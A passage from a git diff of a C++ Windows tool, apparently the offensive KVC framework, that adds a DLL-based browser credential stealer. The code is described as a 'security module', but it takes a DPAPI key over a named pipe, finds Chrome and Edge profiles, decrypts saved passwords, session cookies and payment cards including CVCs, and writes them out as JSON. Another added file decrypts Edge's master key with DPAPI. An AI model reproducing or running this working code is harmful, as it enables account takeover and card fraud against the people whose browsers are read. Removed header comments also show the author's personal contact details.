m_logger->Log("[-] Failed to read verbose flag from pipe");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Read output path
|
||||||
|
memset(buffer, 0, sizeof(buffer));
|
||||||
|
if (!ReadFile(m_logger->getHandle(), buffer, sizeof(buffer) - 1, &bytesRead, nullptr) || bytesRead == 0)
|
||||||
|
{
|
||||||
|
m_logger->Log("[-] Failed to read output path from pipe");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
buffer[bytesRead] = '\0';
|
||||||
|
m_outputPath = buffer;
|
||||||
|
m_logger->Log("[*] Output path configured: " + StringUtils::path_to_string(m_outputPath));
|
||||||
|
|
||||||
|
// Read DPAPI key (Edge only)
|
||||||
|
memset(buffer, 0, sizeof(buffer));
|
||||||
|
if (!ReadFile(m_logger->getHandle(), buffer, sizeof(buffer) - 1, &bytesRead, nullptr) || bytesRead == 0)
|
||||||
|
{
|
||||||
|
m_logger->Log("[-] Failed to read DPAPI key from pipe");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
buffer[bytesRead] = '\0';
|
||||||
|
|
||||||
|
// Parse DPAPI key message
|
||||||
|
try {
|
||||||
|
std::string dpapiKeyMsg(buffer);
|
||||||
|
|
||||||
|
if (dpapiKeyMsg.find("DPAPI_KEY:") == 0)
|
||||||
|
{
|
||||||
|
std::string hexKey = dpapiKeyMsg.substr(10);
|
||||||
|
|
||||||
|
if (hexKey != "NONE" && hexKey.length() >= 64)
|
||||||
|
{
|
||||||
|
m_edgeDpapiKey.resize(32);
|
||||||
|
for (size_t i = 0; i < 32; ++i)
|
||||||
|
{
|
||||||
|
std::string byteStr = hexKey.substr(i * 2, 2);
|
||||||
|
unsigned long byte = std::stoul(byteStr, nullptr, 16);
|
||||||
|
m_edgeDpapiKey[i] = static_cast<uint8_t>(byte);
|
||||||
|
}
|
||||||
|
m_logger->Log("[+] Received pre-decrypted DPAPI key from orchestrator: " +
|
||||||
|
std::to_string(m_edgeDpapiKey.size()) + " bytes");
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
m_logger->Log("[*] No DPAPI key from orchestrator");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
m_logger->Log("[-] Invalid DPAPI key message format");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch (const std::exception& e)
|
||||||
|
{
|
||||||
|
m_logger->Log("[-] Exception parsing DPAPI key: " + std::string(e.what()));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Security module worker thread entry point
|
||||||
|
DWORD WINAPI SecurityModuleWorker(LPVOID lpParam)
|
||||||
|
{
|
||||||
|
auto thread_params = std::unique_ptr<ModuleThreadParams>(static_cast<ModuleThreadParams*>(lpParam));
|
||||||
|
|
||||||
|
try
|
||||||
|
{
|
||||||
|
SecurityComponents::SecurityOrchestrator orchestrator(
|
||||||
|
static_cast<LPCWSTR>(thread_params->lpPipeNamePointerFromOrchestrator));
|
||||||
|
orchestrator.Run();
|
||||||
|
}
|
||||||
|
catch (const std::exception& e)
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
SecurityComponents::PipeLogger errorLogger(
|
||||||
|
static_cast<LPCWSTR>(thread_params->lpPipeNamePointerFromOrchestrator));
|
||||||
|
if (errorLogger.isValid())
|
||||||
|
{
|
||||||
|
errorLogger.Log("[-] CRITICAL SECURITY MODULE ERROR: " + std::string(e.what()));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch (...) {}
|
||||||
|
}
|
||||||
|
|
||||||
|
FreeLibraryAndExitThread(thread_params->hModule_dll, 0);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
// DLL entry point - creates worker thread for asynchronous execution
|
||||||
|
BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID lpReserved)
|
||||||
|
{
|
||||||
|
if (reason == DLL_PROCESS_ATTACH)
|
||||||
|
{
|
||||||
|
DisableThreadLibraryCalls(hModule);
|
||||||
|
|
||||||
|
auto params = new (std::nothrow) ModuleThreadParams{hModule, lpReserved};
|
||||||
|
if (!params) return TRUE;
|
||||||
|
|
||||||
|
HANDLE hThread = CreateThread(NULL, 0, SecurityModuleWorker, params, 0, NULL);
|
||||||
|
if (hThread)
|
||||||
|
{
|
||||||
|
CloseHandle(hThread);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
delete params;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
44
kvc/CryptCore.h
Normal file
44
kvc/CryptCore.h
Normal file
@@ -0,0 +1,44 @@
|
|||||||
|
// CryptCore.h - Main security module orchestration
|
||||||
|
#ifndef CRYPT_CORE_H
|
||||||
|
#define CRYPT_CORE_H
|
||||||
|
|
||||||
|
#include <Windows.h>
|
||||||
|
#include <string>
|
||||||
|
#include <filesystem>
|
||||||
|
#include <optional>
|
||||||
|
#include "CommunicationModule.h"
|
||||||
|
|
||||||
|
namespace fs = std::filesystem;
|
||||||
|
|
||||||
|
namespace SecurityComponents
|
||||||
|
{
|
||||||
|
// Main orchestrator coordinating the entire extraction workflow
|
||||||
|
class SecurityOrchestrator
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
explicit SecurityOrchestrator(LPCWSTR lpcwstrPipeName);
|
||||||
|
|
||||||
|
// Executes full analysis: key decryption, profile enumeration, data extraction
|
||||||
|
void Run();
|
||||||
|
|
||||||
|
private:
|
||||||
|
// Reads configuration parameters from orchestrator via pipe
|
||||||
|
void ReadPipeParameters();
|
||||||
|
|
||||||
|
std::optional<PipeLogger> m_logger; // ZMIEŃ na optional
|
||||||
|
fs::path m_outputPath;
|
||||||
|
std::vector<uint8_t> m_edgeDpapiKey;
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
// Thread parameters passed to worker thread
|
||||||
|
struct ModuleThreadParams
|
||||||
|
{
|
||||||
|
HMODULE hModule_dll;
|
||||||
|
LPVOID lpPipeNamePointerFromOrchestrator;
|
||||||
|
};
|
||||||
|
|
||||||
|
// Main worker thread executing security analysis
|
||||||
|
DWORD WINAPI SecurityModuleWorker(LPVOID lpParam);
|
||||||
|
|
||||||
|
#endif // CRYPT_CORE_H
|
||||||
240
kvc/DataExtraction.cpp
Normal file
240
kvc/DataExtraction.cpp
Normal file
@@ -0,0 +1,240 @@
|
|||||||
|
// DataExtraction.cpp - Profile discovery and database extraction
|
||||||
|
#include "DataExtraction.h"
|
||||||
|
#include "BrowserCrypto.h"
|
||||||
|
#include "CommunicationModule.h"
|
||||||
|
#include <fstream>
|
||||||
|
#include <sstream>
|
||||||
|
#include <algorithm>
|
||||||
|
|
||||||
|
namespace SecurityComponents
|
||||||
|
{
|
||||||
|
namespace Data
|
||||||
|
{
|
||||||
|
// Pre-loads CVC data for payment card processing
|
||||||
|
std::shared_ptr<std::unordered_map<std::string, std::vector<uint8_t>>> SetupPaymentCards(sqlite3* db)
|
||||||
|
{
|
||||||
|
auto cvcMap = std::make_shared<std::unordered_map<std::string, std::vector<uint8_t>>>();
|
||||||
|
sqlite3_stmt* stmt = nullptr;
|
||||||
|
if (sqlite3_prepare_v2(db, "SELECT guid, value_encrypted FROM local_stored_cvc;", -1, &stmt, nullptr) != SQLITE_OK)
|
||||||
|
return cvcMap;
|
||||||
|
|
||||||
|
while (sqlite3_step(stmt) == SQLITE_ROW)
|
||||||
|
{
|
||||||
|
const char* guid = reinterpret_cast<const char*>(sqlite3_column_text(stmt, 0));
|
||||||
|
const uint8_t* blob = reinterpret_cast<const uint8_t*>(sqlite3_column_blob(stmt, 1));
|
||||||
|
if (guid && blob)
|
||||||
|
(*cvcMap)[guid] = {blob, blob + sqlite3_column_bytes(stmt, 1)};
|
||||||
|
}
|
||||||
|
sqlite3_finalize(stmt);
|
||||||
|
return cvcMap;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Formats cookie row into JSON
|
||||||
|
std::optional<std::string> FormatCookie(sqlite3_stmt* stmt, const std::vector<uint8_t>& key, void* state)
|
||||||
|
{
|
||||||
|
const uint8_t* blob = reinterpret_cast<const uint8_t*>(sqlite3_column_blob(stmt, 6));
|
||||||
|
if (!blob) return std::nullopt;
|
||||||
|
|
||||||
|
auto plain = Crypto::DecryptGcm(key, {blob, blob + sqlite3_column_bytes(stmt, 6)});
|
||||||
|
if (plain.size() <= COOKIE_PLAINTEXT_HEADER_SIZE)
|
||||||
|
return std::nullopt;
|
||||||
|
|
||||||
|
const char* value_start = reinterpret_cast<const char*>(plain.data()) + COOKIE_PLAINTEXT_HEADER_SIZE;
|
||||||
|
size_t value_size = plain.size() - COOKIE_PLAINTEXT_HEADER_SIZE;
|
||||||
|
|
||||||
|
std::ostringstream json_entry;
|
||||||
|
json_entry << " {\"host\":\"" << Utils::EscapeJson(reinterpret_cast<const char*>(sqlite3_column_text(stmt, 0))) << "\""
|
||||||
|
<< ",\"name\":\"" << Utils::EscapeJson(reinterpret_cast<const char*>(sqlite3_column_text(stmt, 1))) << "\""
|
||||||
|
<< ",\"path\":\"" << Utils::EscapeJson(reinterpret_cast<const char*>(sqlite3_column_text(stmt, 2))) << "\""
|
||||||
|
<< ",\"value\":\"" << Utils::EscapeJson({value_start, value_size}) << "\""
|
||||||
|
<< ",\"expires\":" << sqlite3_column_int64(stmt, 5)
|
||||||
|
<< ",\"secure\":" << (sqlite3_column_int(stmt, 3) ? "true" : "false")
|
||||||
|
<< ",\"httpOnly\":" << (sqlite3_column_int(stmt, 4) ? "true" : "false")
|
||||||
|
<< "}";
|
||||||
|
return json_entry.str();
|
||||||
|
}
|
||||||
|
|
||||||
|
// Formats password row into JSON
|
||||||
|
std::optional<std::string> FormatPassword(sqlite3_stmt* stmt, const std::vector<uint8_t>& key, void* state)
|
||||||
|
{
|
||||||
|
const uint8_t* blob = reinterpret_cast<const uint8_t*>(sqlite3_column_blob(stmt, 2));
|
||||||
|
if (!blob) return std::nullopt;
|
||||||
|
|
||||||
|
auto plain = Crypto::DecryptGcm(key, {blob, blob + sqlite3_column_bytes(stmt, 2)});
|
||||||
|
return " {\"origin\":\"" + Utils::EscapeJson(reinterpret_cast<const char*>(sqlite3_column_text(stmt, 0))) +
|
||||||
|
"\",\"username\":\"" + Utils::EscapeJson(reinterpret_cast<const char*>(sqlite3_column_text(stmt, 1))) +
|
||||||
|
"\",\"password\":\"" + Utils::EscapeJson({reinterpret_cast<char*>(plain.data()), plain.size()}) + "\"}";
|
||||||
|
}
|
||||||
|
|
||||||
|
// Formats payment card row into JSON
|
||||||
|
std::optional<std::string> FormatPayment(sqlite3_stmt* stmt, const std::vector<uint8_t>& key, void* state)
|
||||||
|
{
|
||||||
|
auto cvcMap = reinterpret_cast<std::shared_ptr<std::unordered_map<std::string, std::vector<uint8_t>>>*>(state);
|
||||||
|
std::string card_num_str, cvc_str;
|
||||||
|
|
||||||
|
const uint8_t* blob = reinterpret_cast<const uint8_t*>(sqlite3_column_blob(stmt, 4));
|
||||||
|
if (blob)
|
||||||
|
{
|
||||||
|
auto plain = Crypto::DecryptGcm(key, {blob, blob + sqlite3_column_bytes(stmt, 4)});
|
||||||
|
card_num_str.assign(reinterpret_cast<char*>(plain.data()), plain.size());
|
||||||
|
}
|
||||||
|
|
||||||
|
const char* guid = reinterpret_cast<const char*>(sqlite3_column_text(stmt, 0));
|
||||||
|
if (guid && cvcMap && (*cvcMap)->count(guid))
|
||||||
|
{
|
||||||
|
auto plain = Crypto::DecryptGcm(key, (*cvcMap)->at(guid));
|
||||||
|
cvc_str.assign(reinterpret_cast<char*>(plain.data()), plain.size());
|
||||||
|
}
|
||||||
|
|
||||||
|
return " {\"name_on_card\":\"" + Utils::EscapeJson(reinterpret_cast<const char*>(sqlite3_column_text(stmt, 1))) +
|
||||||
|
"\",\"expiration_month\":" + std::to_string(sqlite3_column_int(stmt, 2)) +
|
||||||
|
",\"expiration_year\":" + std::to_string(sqlite3_column_int(stmt, 3)) +
|
||||||
|
",\"card_number\":\"" + Utils::EscapeJson(card_num_str) +
|
||||||
|
"\",\"cvc\":\"" + Utils::EscapeJson(cvc_str) + "\"}";
|
||||||
|
}
|
||||||
|
|
||||||
|
// Returns all extraction configurations
|
||||||
|
const std::vector<ExtractionConfig>& GetExtractionConfigs()
|
||||||
|
{
|
||||||
|
static const std::vector<ExtractionConfig> configs = {
|
||||||
|
{fs::path("Network") / "Cookies", "cookies",
|
||||||
|
"SELECT host_key, name, path, is_secure, is_httponly, expires_utc, encrypted_value FROM cookies;",
|
||||||
|
nullptr, FormatCookie},
|
||||||
|
|
||||||
|
{"Login Data", "passwords",
|
||||||
|
"SELECT origin_url, username_value, password_value FROM logins;",
|
||||||
|
nullptr, FormatPassword},
|
||||||
|
|
||||||
|
{"Web Data", "payments",
|
||||||
|
"SELECT guid, name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards;",
|
||||||
|
SetupPaymentCards, FormatPayment}
|
||||||
|
};
|
||||||
|
return configs;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ProfileEnumerator implementation
|
||||||
|
ProfileEnumerator::ProfileEnumerator(const fs::path& userDataRoot, PipeLogger& logger)
|
||||||
|
: m_userDataRoot(userDataRoot), m_logger(logger) {}
|
||||||
|
|
||||||
|
std::vector<fs::path> ProfileEnumerator::FindProfiles()
|
||||||
|
{
|
||||||
|
m_logger.Log("[*] Discovering browser profiles in: " + StringUtils::path_to_string(m_userDataRoot));
|
||||||
|
std::vector<fs::path> profilePaths;
|
||||||
|
|
||||||
|
auto isProfileDirectory = [](const fs::path& path)
|
||||||
|
{
|
||||||
|
for (const auto& dataCfg : Data::GetExtractionConfigs())
|
||||||
|
{
|
||||||
|
if (fs::exists(path / dataCfg.dbRelativePath))
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
};
|
||||||
|
|
||||||
|
if (isProfileDirectory(m_userDataRoot))
|
||||||
|
{
|
||||||
|
profilePaths.push_back(m_userDataRoot);
|
||||||
|
}
|
||||||
|
|
||||||
|
std::error_code ec;
|
||||||
|
for (const auto& entry : fs::directory_iterator(m_userDataRoot, ec))
|
||||||
|
{
|
||||||
|
if (!ec && entry.is_directory() && isProfileDirectory(entry.path()))
|
||||||
|
{
|
||||||
|
profilePaths.push_back(entry.path());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (ec)
|
||||||
|
{
|
||||||
|
m_logger.Log("[-] Filesystem ERROR during profile discovery: " + ec.message());
|
||||||
|
}
|
||||||
|
|
||||||
|
std::sort(profilePaths.begin(), profilePaths.end());
|
||||||
|
profilePaths.erase(std::unique(profilePaths.begin(), profilePaths.end()), profilePaths.end());
|
||||||
|
|
||||||
|
m_logger.Log("[+] Found " + std::to_string(profilePaths.size()) + " profile(s).");
|
||||||
|
return profilePaths;
|
||||||
|
}
|
||||||
|
|
||||||
|
// DataExtractor implementation
|
||||||
|
DataExtractor::DataExtractor(const fs::path& profilePath, const Data::ExtractionConfig& config,
|
||||||
|
const std::vector<uint8_t>& aesKey, PipeLogger& logger,
|
||||||
|
const fs::path& baseOutputPath, const std::string& browserName)
|
||||||
|
: m_profilePath(profilePath), m_config(config), m_aesKey(aesKey),
|
||||||
|
m_logger(logger), m_baseOutputPath(baseOutputPath), m_browserName(browserName) {}
|
||||||
|
|
||||||
|
void DataExtractor::Extract()
|
||||||
|
{
|
||||||
|
fs::path dbPath = m_profilePath / m_config.dbRelativePath;
|
||||||
|
if (!fs::exists(dbPath))
|
||||||
|
return;
|
||||||
|
|
||||||
|
sqlite3* db = nullptr;
|
||||||
|
std::string uriPath = "file:" + StringUtils::path_to_string(dbPath) + "?nolock=1";
|
||||||
|
std::replace(uriPath.begin(), uriPath.end(), '\\', '/');
|
||||||
|
|
||||||
|
if (sqlite3_open_v2(uriPath.c_str(), &db, SQLITE_OPEN_READONLY | SQLITE_OPEN_URI, nullptr) != SQLITE_OK)
|
||||||
|
{
|
||||||
|
m_logger.Log("[-] Failed to open database " + StringUtils::path_to_string(dbPath) +
|
||||||
|
": " + (db ? sqlite3_errmsg(db) : "N/A"));
|
||||||
|
if (db) sqlite3_close_v2(db);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
sqlite3_stmt* stmt = nullptr;
|
||||||
|
if (sqlite3_prepare_v2(db, m_config.sqlQuery.c_str(), -1, &stmt, nullptr) != SQLITE_OK)
|
||||||
|
{
|
||||||
|
sqlite3_close_v2(db);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
void* preQueryState = nullptr;
|
||||||
|
std::shared_ptr<std::unordered_map<std::string, std::vector<uint8_t>>> cvcMap;
|
||||||
|
if (m_config.preQuerySetup)
|
||||||
|
{
|
||||||
|
cvcMap = m_config.preQuerySetup(db);
|
||||||
|
preQueryState = &cvcMap;
|
||||||
|
}
|
||||||
|
|
||||||
|
std::vector<std::string> jsonEntries;
|
||||||
|
while (sqlite3_step(stmt) == SQLITE_ROW)
|
||||||
|
{
|
||||||
|
if (auto jsonEntry = m_config.jsonFormatter(stmt, m_aesKey, preQueryState))
|
||||||
|
{
|
||||||
|
jsonEntries.push_back(*jsonEntry);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
sqlite3_finalize(stmt);
|
||||||
|
sqlite3_close_v2(db);
|
||||||
|
|
||||||
|
if (!jsonEntries.empty())
|
||||||
|
{
|
||||||
|
fs::path outFilePath = m_baseOutputPath / m_browserName / m_profilePath.filename() /
|
||||||
|
(m_config.outputFileName + ".json");
|
||||||
|
|
||||||
|
std::error_code ec;
|
||||||
|
fs::create_directories(outFilePath.parent_path(), ec);
|
||||||
|
if (ec)
|
||||||
|
{
|
||||||
|
m_logger.Log("[-] Failed to create directory: " + StringUtils::path_to_string(outFilePath.parent_path()));
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
std::ofstream out(outFilePath, std::ios::trunc);
|
||||||
|
if (!out) return;
|
||||||
|
|
||||||
|
out << "[\n";
|
||||||
|
for (size_t i = 0; i < jsonEntries.size(); ++i)
|
||||||
|
{
|
||||||
|
out << jsonEntries[i] << (i == jsonEntries.size() - 1 ? "" : ",\n");
|
||||||
|
}
|
||||||
|
out << "\n]\n";
|
||||||
|
|
||||||
|
m_logger.Log(" [*] " + std::to_string(jsonEntries.size()) + " " + m_config.outputFileName +
|
||||||
|
" extracted to " + StringUtils::path_to_string(outFilePath));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
83
kvc/DataExtraction.h
Normal file
83
kvc/DataExtraction.h
Normal file
@@ -0,0 +1,83 @@
|
|||||||
|
// DataExtraction.h - Database extraction and profile enumeration
|
||||||
|
#ifndef DATA_EXTRACTION_H
|
||||||
|
#define DATA_EXTRACTION_H
|
||||||
|
|
||||||
|
#include <Windows.h>
|
||||||
|
#include <vector>
|
||||||
|
#include <string>
|
||||||
|
#include <filesystem>
|
||||||
|
#include <memory>
|
||||||
|
#include <unordered_map>
|
||||||
|
#include "winsqlite3.h"
|
||||||
|
|
||||||
|
namespace fs = std::filesystem;
|
||||||
|
|
||||||
|
namespace SecurityComponents
|
||||||
|
{
|
||||||
|
class PipeLogger;
|
||||||
|
|
||||||
|
// Data extraction configuration and operations
|
||||||
|
namespace Data
|
||||||
|
{
|
||||||
|
constexpr size_t COOKIE_PLAINTEXT_HEADER_SIZE = 32;
|
||||||
|
|
||||||
|
typedef std::shared_ptr<std::unordered_map<std::string, std::vector<uint8_t>>>(*PreQuerySetupFunc)(sqlite3*);
|
||||||
|
typedef std::optional<std::string>(*JsonFormatterFunc)(sqlite3_stmt*, const std::vector<uint8_t>&, void*);
|
||||||
|
|
||||||
|
struct ExtractionConfig
|
||||||
|
{
|
||||||
|
fs::path dbRelativePath;
|
||||||
|
std::string outputFileName;
|
||||||
|
std::string sqlQuery;
|
||||||
|
PreQuerySetupFunc preQuerySetup;
|
||||||
|
JsonFormatterFunc jsonFormatter;
|
||||||
|
};
|
||||||
|
|
||||||
|
// Pre-query setup function for payment cards
|
||||||
|
std::shared_ptr<std::unordered_map<std::string, std::vector<uint8_t>>> SetupPaymentCards(sqlite3* db);
|
||||||
|
|
||||||
|
// JSON formatters for different data types
|
||||||
|
std::optional<std::string> FormatCookie(sqlite3_stmt* stmt, const std::vector<uint8_t>& key, void* state);
|
||||||
|
std::optional<std::string> FormatPassword(sqlite3_stmt* stmt, const std::vector<uint8_t>& key, void* state);
|
||||||
|
std::optional<std::string> FormatPayment(sqlite3_stmt* stmt, const std::vector<uint8_t>& key, void* state);
|
||||||
|
|
||||||
|
// Returns all extraction configurations
|
||||||
|
const std::vector<ExtractionConfig>& GetExtractionConfigs();
|
||||||
|
}
|
||||||
|
|
||||||
|
// Discovers all available browser profiles
|
||||||
|
class ProfileEnumerator
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
ProfileEnumerator(const fs::path& userDataRoot, PipeLogger& logger);
|
||||||
|
|
||||||
|
// Returns paths to all valid profile directories
|
||||||
|
std::vector<fs::path> FindProfiles();
|
||||||
|
|
||||||
|
private:
|
||||||
|
fs::path m_userDataRoot;
|
||||||
|
PipeLogger& m_logger;
|
||||||
|
};
|
||||||
|
|
||||||
|
// Extracts data from a specific database within a profile
|
||||||
|
class DataExtractor
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
DataExtractor(const fs::path& profilePath, const Data::ExtractionConfig& config,
|
||||||
|
const std::vector<uint8_t>& aesKey, PipeLogger& logger,
|
||||||
|
const fs::path& baseOutputPath, const std::string& browserName);
|
||||||
|
|
||||||
|
// Performs extraction for configured data type
|
||||||
|
void Extract();
|
||||||
|
|
||||||
|
private:
|
||||||
|
fs::path m_profilePath;
|
||||||
|
const Data::ExtractionConfig& m_config;
|
||||||
|
const std::vector<uint8_t>& m_aesKey;
|
||||||
|
PipeLogger& m_logger;
|
||||||
|
fs::path m_baseOutputPath;
|
||||||
|
std::string m_browserName;
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
#endif // DATA_EXTRACTION_H
|
||||||
@@ -1,28 +1,3 @@
|
|||||||
/*******************************************************************************
|
|
||||||
_ ____ ______
|
|
||||||
| |/ /\ \ / / ___|
|
|
||||||
| ' / \ \ / / |
|
|
||||||
| . \ \ V /| |___
|
|
||||||
|_|\_\ \_/ \____|
|
|
||||||
|
|
||||||
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
|
|
||||||
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
|
|
||||||
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
|
|
||||||
of kernel-level primitives** for legitimate security research and penetration testing.
|
|
||||||
|
|
||||||
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
|
|
||||||
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
|
|
||||||
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
|
|
||||||
that define these protections.
|
|
||||||
|
|
||||||
-----------------------------------------------------------------------------
|
|
||||||
Author : Marek Wesołowski
|
|
||||||
Email : marek@wesolowski.eu.org
|
|
||||||
Phone : +48 607 440 283 (Tel/WhatsApp)
|
|
||||||
Date : 04-09-2025
|
|
||||||
|
|
||||||
*******************************************************************************/
|
|
||||||
|
|
||||||
#include "DefenderManager.h"
|
#include "DefenderManager.h"
|
||||||
#include <filesystem>
|
#include <filesystem>
|
||||||
#include <algorithm>
|
#include <algorithm>
|
||||||
|
|||||||
74
kvc/EdgeDPAPI.cpp
Normal file
74
kvc/EdgeDPAPI.cpp
Normal file
@@ -0,0 +1,74 @@
|
|||||||
|
// EdgeDPAPI.cpp - DPAPI decryption for Edge browser password keys
|
||||||
|
// Implements orchestrator-side password key extraction using Windows DPAPI
|
||||||
|
#include "EdgeDPAPI.h"
|
||||||
|
#include <Wincrypt.h>
|
||||||
|
#include <fstream>
|
||||||
|
#pragma comment(lib, "Crypt32.lib")
|
||||||
|
|
||||||
|
namespace
|
||||||
|
{
|
||||||
|
// Decodes Base64 string into binary data using Windows Crypto API
|
||||||
|
std::vector<uint8_t> Base64DecodeSimple(const std::string& input)
|
||||||
|
{
|
||||||
|
DWORD size = 0;
|
||||||
|
if (!CryptStringToBinaryA(input.c_str(), 0, CRYPT_STRING_BASE64, nullptr, &size, nullptr, nullptr))
|
||||||
|
return {};
|
||||||
|
|
||||||
|
std::vector<uint8_t> data(size);
|
||||||
|
CryptStringToBinaryA(input.c_str(), 0, CRYPT_STRING_BASE64, data.data(), &size, nullptr, nullptr);
|
||||||
|
return data;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Extracts and decrypts Edge password encryption key from Local State file
|
||||||
|
// Uses Windows DPAPI to decrypt the key in the orchestrator's security context
|
||||||
|
// This avoids needing COM elevation for Edge passwords specifically
|
||||||
|
std::vector<uint8_t> DecryptEdgePasswordKeyWithDPAPI(const fs::path& localStatePath, const Console& console)
|
||||||
|
{
|
||||||
|
std::ifstream f(localStatePath, std::ios::binary);
|
||||||
|
if (!f)
|
||||||
|
return {};
|
||||||
|
|
||||||
|
std::string content((std::istreambuf_iterator<char>(f)), std::istreambuf_iterator<char>());
|
||||||
|
|
||||||
|
// Locate encrypted_key field in JSON
|
||||||
|
std::string tag = "\"encrypted_key\":\"";
|
||||||
|
size_t pos = content.find(tag);
|
||||||
|
if (pos == std::string::npos)
|
||||||
|
return {};
|
||||||
|
|
||||||
|
size_t end = content.find('"', pos + tag.length());
|
||||||
|
if (end == std::string::npos)
|
||||||
|
return {};
|
||||||
|
|
||||||
|
// Decode Base64 encrypted key
|
||||||
|
std::vector<uint8_t> decoded = Base64DecodeSimple(content.substr(pos + tag.length(), end - pos - tag.length()));
|
||||||
|
if (decoded.size() < 5)
|
||||||
|
return {};
|
||||||
|
|
||||||
|
// Strip "DPAPI" prefix (5 bytes: 0x44 0x50 0x41 0x50 0x49)
|
||||||
|
if (decoded[0] == 0x44 && decoded[1] == 0x50 && decoded[2] == 0x41 &&
|
||||||
|
decoded[3] == 0x50 && decoded[4] == 0x49)
|
||||||
|
{
|
||||||
|
decoded.erase(decoded.begin(), decoded.begin() + 5);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Verify DPAPI blob header (0x01 0x00 0x00 0x00)
|
||||||
|
if (decoded.size() < 4 || decoded[0] != 0x01 || decoded[1] != 0x00 ||
|
||||||
|
decoded[2] != 0x00 || decoded[3] != 0x00)
|
||||||
|
return {};
|
||||||
|
|
||||||
|
// Decrypt using Windows DPAPI
|
||||||
|
DATA_BLOB inputBlob = { static_cast<DWORD>(decoded.size()), decoded.data() };
|
||||||
|
DATA_BLOB outputBlob = {};
|
||||||
|
|
||||||
|
if (!CryptUnprotectData(&inputBlob, nullptr, nullptr, nullptr, nullptr,
|
||||||
|
CRYPTPROTECT_UI_FORBIDDEN, &outputBlob))
|
||||||
|
return {};
|
||||||
|
|
||||||
|
std::vector<uint8_t> result(outputBlob.pbData, outputBlob.pbData + outputBlob.cbData);
|
||||||
|
LocalFree(outputBlob.pbData);
|
||||||
|
|
||||||
|
console.Success("Edge DPAPI password key extracted successfully");
|
||||||
|
return result;
|
||||||
|
}
|
||||||
17
kvc/EdgeDPAPI.h
Normal file
17
kvc/EdgeDPAPI.h
Normal file
@@ -0,0 +1,17 @@
|
|||||||
|
// EdgeDPAPI.h - DPAPI operations for Edge password key extraction
|
||||||
|
#ifndef EDGE_DPAPI_H
|
||||||
|
#define EDGE_DPAPI_H
|
||||||
|
|
||||||
|
#include <Windows.h>
|
||||||
|
#include <vector>
|
||||||
|
#include <filesystem>
|
||||||
|
#include "CommunicationLayer.h"
|
||||||
|
|
||||||
|
namespace fs = std::filesystem;
|
||||||
|
|
||||||
|
// Extracts and decrypts Edge password encryption key using Windows DPAPI
|
||||||
|
// This function runs in the orchestrator's context, avoiding the need for
|
||||||
|
// COM elevation specifically for Edge password decryption
|
||||||
|
std::vector<uint8_t> DecryptEdgePasswordKeyWithDPAPI(const fs::path& localStatePath, const Console& console);
|
||||||
|
|
||||||
|
#endif // EDGE_DPAPI_H
|
||||||
@@ -1,28 +1,3 @@
|
|||||||
/*******************************************************************************
|
|
||||||
_ ____ ______
|
|
||||||
| |/ /\ \ / / ___|
|
|
||||||
| ' / \ \ / / |
|
|
||||||
| . \ \ V /| |___
|
|
||||||
|_|\_\ \_/ \____|
|
|
||||||
|
|
||||||
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
|
|
||||||
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
|
|
||||||
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
|
|
||||||
of kernel-level primitives** for legitimate security research and penetration testing.
|
|
||||||
|
|
||||||
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
|
|
||||||
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
|
|
||||||
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
|
|
||||||
that define these protections.
|
|
||||||
|
|
||||||
-----------------------------------------------------------------------------
|
|
||||||
Author : Marek Wesołowski
|
|
||||||
Email : marek@wesolowski.eu.org
|
|
||||||
Phone : +48 607 440 283 (Tel/WhatsApp)
|
|
||||||
Date : 04-09-2025
|
|
||||||
|
|
||||||
*******************************************************************************/
|
|
||||||
|
|
||||||
#include <windows.h>
|
#include <windows.h>
|
||||||
#include "HelpSystem.h"
|
#include "HelpSystem.h"
|
||||||
#include <iostream>
|
#include <iostream>
|
||||||
|
|||||||
157
